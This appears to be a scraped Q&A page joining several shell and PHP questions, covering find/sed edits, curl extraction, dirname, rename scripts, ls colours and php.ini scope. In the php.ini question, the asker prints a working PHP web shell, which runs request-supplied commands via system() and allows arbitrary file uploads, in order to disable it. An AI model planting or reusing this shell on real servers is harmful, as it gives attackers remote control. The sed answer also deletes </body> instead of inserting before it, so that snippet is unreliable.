add php code to html files in directories [closed] - text-editor

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 9 years ago.
I need to add a php code block to some html files (html files are been procesed by php), Lets say I have this line of code:
<?php echo "hello world"; ?>
And I want to add that block to all .html files just before the closing "body" tag in the public_html folder of several domains:
/home/domainA/public_html
/home/domainB/public_html
/home/domainC/public_html
What's the best approach?

This is the way. . .
<html>
<head>
</head>
<body>
<p>
<?php echo "hello world" ?>
</p>
</body>
</html>

Use the find command to locate all .html files in the specified directories, then use sed to manipulate the files automatically. Make sure to create a backup before trying something like this, there's a reason why this is called search-and-destroy!
find /home/domainA/public_html /home/domainB/public_html \
/home/domainC/public_html -name '*.html' \
-exec sed -i 's|</body>|<?php echo "hello world"; ?>|' '{}' ';'

The best way to achieve that is to put the block into a partial and the call it in your main file. For example:
//partial.phtml
<?php echo "hello world"; ?>
//main.phtml
<body>
<?php
echo $this->partial('partial.phtml');
?>
</body>
Calling to a partial will depend on the PHP framework you are using. Hope this helps!

Related

How to specify and extract html element by curl

when I tried to curl some pages.
curl http://test.com
I can get like following result
<html>
<body>
<div>
<dl>
<dd> 10 times </dd>
</dl>
</div>
</body>
</html>
my desired result is like simply 10 times..
Are there any good way to achieve this ?
If someone has opinion please let me know
Thanks
If you are are unable to use a html parser for what ever reason, for your given simple html example, you could use:
curl http://test.com | sed -rn 's#(^.*<dd>)(.*)(</dd>)#\2#p'
Redirect the output of the curl command into sed and enable regular expression interpretation with -r or -E. Split the lines into three sections and substitute the line for the second section only, printing the result.

Extract directory from path [duplicate]

This question already has answers here:
Getting the parent of a directory in Bash
(13 answers)
Closed 1 year ago.
In my script I need the directory of the file I am working with. For example, the file="stuff/backup/file.zip". I need a way to get the string "stuff/backup/" from the variable $file.
dirname $file
is what you are looking for
dirname $file
will output
stuff/backup
which is the opposite of basename:
basename $file
would output
file.zip
Using ${file%/*} like suggested by Urvin/LuFFy is technically better since you won't rely on an external command. To get the basename in the same way you could do ${file##*/}. It's unnecessary to use an external command unless you need to.
file="/stuff/backup/file.zip"
filename=${1##*/} # file.zip
directory=${1%/*} # /stuff/backup
It would also be fully POSIX compliant this way. Hope it helps! :-)
For getting directorypath from the filepath:
file="stuff/backup/file.zip"
dirPath=${file%/*}/
echo ${dirPath}
Simply use $ dirname /home/~username/stuff/backup/file.zip
It will return /home/~username/stuff/backup/

Does this work? [closed]

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 11 years ago.
I haven't got Linux on my computer at the moment, so I was wondering if someone can test this code I wrote.
It is supposed to rename a file extension when you type something like this, to run it, into the terminal:
chaxxx zzz yyy *.zzz
"chaxxx" being the name of the file.
Here's the code I wrote:
>>deleted<<
Use an online compiler & interpreter for your tests. ideone supports Bash Script too.
EDIT:
It does work. ren.sh is your script name, here you go:
$ ls
asdf.doc ren.sh text.txt
$ ./ren.sh txt doc *.txt
text.txt
text
$ ls
asdf.doc ren.sh text.doc
Have you looked at the rename command? You are pretty much reinventing the wheel here.
From man rename
rename .htm .html *.htm
will fix the extension of your html files.
Edit
If you are going to do it yourself in bash then I would suggest the following code instead. Here are its benefits:
It handles files with spaces in
their names
It checks to see if the file it's about to modify actually
ends in the extension you want to
change before it attempts to mv
it.
It uses native Parameter Expansion syntax rather than call the external binary basename
It checks to see if the # of input parameters is at least 3, otherwise it echos a usage message and exits
It uses a for-loop with indirection rather than calling the test with shift
#!/bin/bash
if (( $# < 3 )); then
echo "Usage: $0 oldExt newExt files"
exit
fi
EXTf=$1
EXTt=$2
for (( i = 3; i <= $#; i++)); do
NAME=${!i}
if [[ "${NAME##*.}" == "$EXTf" ]]; then
mv "$NAME" "${NAME%.*}.$EXTt"
fi
done

How do you determine what bash ls colours mean?

When you perform ls in a bash shell, sometimes there are colours to indicate different resource types, and you can enable/control this with the --color argument.
But neither the man page nor Google is providing an answer to the question:
What do these colours indicate by default, and how do I display what the current system uses?
UPDATE:
Thanks everyone for answers so far, however to make it easier to pick a winner, can anyone go a step further and provide a method to output descriptions in the colours they apply to.
Hmmm... my example doesn't work when posted (only when previewed), so if you preview this code it'll show what I mean...
<ul style="list-style:none; background:black; margin:0;padding:0.5em; width:10em">
<li style="color:blue">directory</li>
<li style="color:aqua">symbolic link</li>
<li style="color:#A00000;">*.tar files</li>
<li style="color:white">...</li>
</ul>
Thanks.
The colors are defined by the $LS_COLORS environment variable. Depending on your distro, it is generated automatically when the shell starts, using ~/.dircolors or /etc/DIR_COLORS.
Edit:
To list color meanings, use this script:
eval $(echo "no:global default;fi:normal file;di:directory;ln:symbolic link;pi:named pipe;so:socket;do:door;bd:block device;cd:character device;or:orphan symlink;mi:missing file;su:set uid;sg:set gid;tw:sticky other writable;ow:other writable;st:sticky;ex:executable;"|sed -e 's/:/="/g; s/\;/"\n/g')
{
IFS=:
for i in $LS_COLORS
do
echo -e "\e[${i#*=}m$( x=${i%=*}; [ "${!x}" ] && echo "${!x}" || echo "$x" )\e[m"
done
}
Running the command dircolors -p will print all default colour settings.
See http://linux.about.com/library/cmd/blcmdl1_dircolors.htm.
You should be able to see the list of mappings in /etc/DIR_COLORS. You can override that by creating .dir_colors in your home directory.
Try "man 5 dir_colors" to see how it's set on your system. Mine doesn't have /etc/DIR_COLORS so it must be set somewhere else.
Google for LS_COLORS for some useful links.
Edit: To list the colors, this simple bash script may give an idea:
IFS=:
set $LS_COLORS
for C in $*
do
IFS='='
set $C
echo -e "\033[$2m$1\033[00m"
done

How do I enable my php.ini file to affect all directories/sub-directories of my server?

A few weeks ago I opened up a hole on my shared server and my friend uploaded the following PHP script:
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php
if(isset($_REQUEST['upload'])) {
echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
Send this file: <input name="userfile" type="file" />
To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
<input type="submit" value="Send File" />
</form>';
}
?>
<?php
if(isset($_REQUEST['send'])) {
$uploaddir = $_POST["direct"];
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;
} else {
echo "Upload failed";
}
}
?>
This script allows him to process commands through in-URL variables.
I have disabled system, among other functions, in the php.ini file in my public_html directory. This will prevent the script from running if it's located within my public_html directory, but doesn't stop it if it's in a sub-directory of that. If I copy the php.ini file into a sub-directory it will stop it from running from that directory.
My question is, how do I enable my php.ini file to affect all directories/sub-directories of my server?
One, kick off a "friend" that chooses to run scripts like this.
Then worry about securing your server. Your system has a master php.ini somewhere (often /etc/php.ini, but if can be in several places, check php_info()). That file controls the default settings for your server. Also, you can block local settings files that allow overrides.
Wow! move the php.ini file on a per-directory basis? Didnt know you could do that.
My best guess (someone please correct me if im wrong), php probably overrides the global php.ini file with a local set of rules on a per-directory basis (much like .htaccess), so basically all you would need to do is to update your php.ini directives to the global php.ini (found here in ubuntu: etc/php5/apache2/php.ini)
Alternatively, you might want to try to use .htaccess to prepend a php page onto all pages with the following:
ini_set('your_directive')
Of course, make sure the .htaccess which calls the prepend php sits at the root, else you're stuck with the same issue.
/mp
Thanks guys, your answers were great, but the answer was right under my nose the entire time. Via cPanel I was able to edit my server to use a single php.ini file.
Are you sure? I wish I had your ISP. By default some ISPs will provide a local copy of the ini file in public_html to allow overrides. But cPanel usually only provides a reference of the server-wide defaults.

Resources